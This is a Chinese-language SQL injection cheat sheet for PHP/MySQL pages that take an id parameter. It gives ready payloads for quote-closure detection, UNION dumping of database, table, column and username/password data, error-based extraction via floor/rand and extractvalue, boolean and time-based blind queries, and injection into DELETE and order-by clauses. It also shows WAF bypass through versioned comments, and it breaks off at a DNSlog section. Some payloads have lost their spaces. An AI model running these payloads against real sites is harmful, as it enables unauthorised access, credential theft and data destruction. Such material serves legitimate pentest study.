$query="select name,age,gender from t_students where id='{$_GET['id']}'"; payload:?id=1' and 1=2 --+ select name,age,gender from t_students where id='1' and 1=2 --+'
–+代表注释,和#(%23)相同,–+就是–空格。
观察是否存在报错,如果页面存在报错则存在注入漏洞,进行union联合注入即可。
双引号闭合
1 2 3
$query="select name,age,gender from t_students where id="{$_GET['id']}""; payload:?id=1" and 1=2 --+ select name,age,gender from t_students where id="1" and 1=2 --+"
和单引号闭合一样,没什么好说的。
判断单双注入时:?id=1’都会报错,?id=1’ ‘报错则是单引号注入,否则是双引号注入。
当我们在闭合时,可能存在语句嵌套,可用 ) 闭合语句。
数字型注入
1 2 3
$query="select name,age,gender from t_students where id={$_GET['id']}; payload:?id=1 and 1=2 --+ select name,age,gender from t_students where id=1 and 1=2 --+"
我们一般判断是字符型注入还是数字型注入,?id=1’报错,?id=1 and 1=1正常,?id=1 and 1=2无报错无法查询则为数字型注入。
UNION联合查询注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
payload:?id=1' or 1=1 order by 3 --+ //查找字段数 payload:?id=-1'unionselect1,2,3--+ payload:?id=1' and 1=2 union select 1,2,3--+ //与上面的payload相同 爆库 payload:?id=-1'unionselect1,database(),3--+ 爆表 payload:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 爆字段 payload:?id=-1'unionselect1,group_concat(column_name),3from information_schema.columns where table_schema='security'and table_name='users'--+ 爆数据 payload:?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users --+
当遇到逗号被过滤掉时: ?id=1' union select * from (select database()) a join (select 2) b %23
?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
查询效果:从information_schema.tables表中根据拼接字段x对结果集进行计数输出。在上例中rand函数生成的随机数乘以2的范围就是0-2,那么再使用floor函数进行向下取整,其值就只能是0或者1。同时因为group by 的特性使得其在进行分组的时候会对后面的字段进行两次运算,group by 在进行分组的时候,会生成一张虚拟表记录数据,那么假设一种情况,当group by进行第一次运算的时候,发现虚拟表中没有相同的数据,准备进行插入操作,但因为rand函数的随机性,导致在第二次运算的时候产生的结果在虚拟表中已经存在,那么在插入该数据的时候就会产生主键冲突,从而产生报错信息,将我们需要的数据通过报错信息外带。
extractvalue() 函数
1
?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断 ?id=1' and ascii(substr(database(),1,1))>115 --+ //115为ascii表中的十进制,对应字母s ?id=1'andexists(select*from admin) --+ //猜测当前数据库中是否存在admin表
3:判断当前数据库中表的个数 ?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+ 2:判断每个表的长度 ?id=1'and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6--+ //第一张表 ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))>6 --+ //第二张表 3:判断每个表的每个字符的ascii值 //判断第一个表的第一个字符的ascii值 ?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+ //判断第一个表的第二个字符的ascii值 ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+ //判断表字段的个数 ?id=1'and (selectcount(column_name) from information_schema.columns where table_name='users'and table_schema='security')>5--+ //判断第一个字段的长度 ?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 --+ //判断第二个字段的长度 ?id=1'and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5--+ //判断第一个字段第一个字符的assii ?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+ //判断第一个字段第二个字符的assii ?id=1'and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100--+ // 判断id字段的第一个数据的长度 ?id=1' and length((select id from users limit 0,1))>5 --+ // 判断id字段的第二个数据的长度 ?id=1'and length((select id from users limit 1,1))>5--+ // 判断id字段的第一行数据的第一个字符的ascii值 ?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 --+ // 判断id字段的第二行数据的第二个字符的ascii值 ?id=1'and ascii(substr((select id from users limit 0,1),2,1))>100--+
select express from tablewhere(having)order by(group by)limit;
1、express
1 2 3 4
select ${_GET[ ' id ' ]},content from news; 利用AS别名的方法,直接将查询的结果显示到页面中。 payload:?id=(select pwd fromuser) as title select (select pwd fromuser) as title,content from news;
我们通过时间盲注也可获取,但如果有SQL语法,可直接构造。
2、table
1 2 3
select title from ${_GET['table']}; payload:?id=select pwd as title fromuser select title from (select pwd as title fromuser);
如果注入点有反引号包裹,那么需要先闭合反引号。
3、where(group)
1 2 3 4
SELECT title FROM wp_news WHERE id= ${_GET['id']} payload:?ititle=id desc,(if(1,sleep(5),1)) 可以让页面睡眠5秒,可以利用这一特点进行基于时间的注入。 payload:?ititle=id desc,(if(时间盲注,sleep(5),1))
4、limit
通过改变数字的大小,页面会显示更多或者更少的记录数。
在整个SQL语句没有order by关键字的情况下,可以直接使用union注入。
5、order by
1 2 3 4 5
select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by xxx
$res = mysqli_query($conn,"DELETE FROM ps WHERE id ={$_GET['id']}"); 为了防止在注入时删除数据,我们可以在后面加 and sleep(1) 让语句不报错却又无法正常执行 deletefrom ps where id=11and sleep(1); 再此基础上我们结合报错注入就可以实现语句的查询。 deletefrom news where i=1and sleep(5) and extractvalue(null,concat(0x7e,(操作代码),0x7e));
测试功能: select * from users where id=1 like "[%23]"; //发现查询出来的是空表
那我们构造如下payload: select * from users where id=1 like "[%23]" union select * from users; 我们知道前面users where id=1 like "[%23]"这个是空,那它这条语句就相当于是select * from users
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
//爆库 id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,database/*!--+/*%0a()*/ --+ //爆表 id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables */where table_schema='security'--+ //爆列 id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns */where table_name='users'--+ //爆字段 id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(id,username,password)from/*!--+/*%0ausers*/--+
DNSlog注入
说明:
DNSlog注入,也叫DNS带外查询,它是属于带外通信的一种(Out of Band,简称OOB)。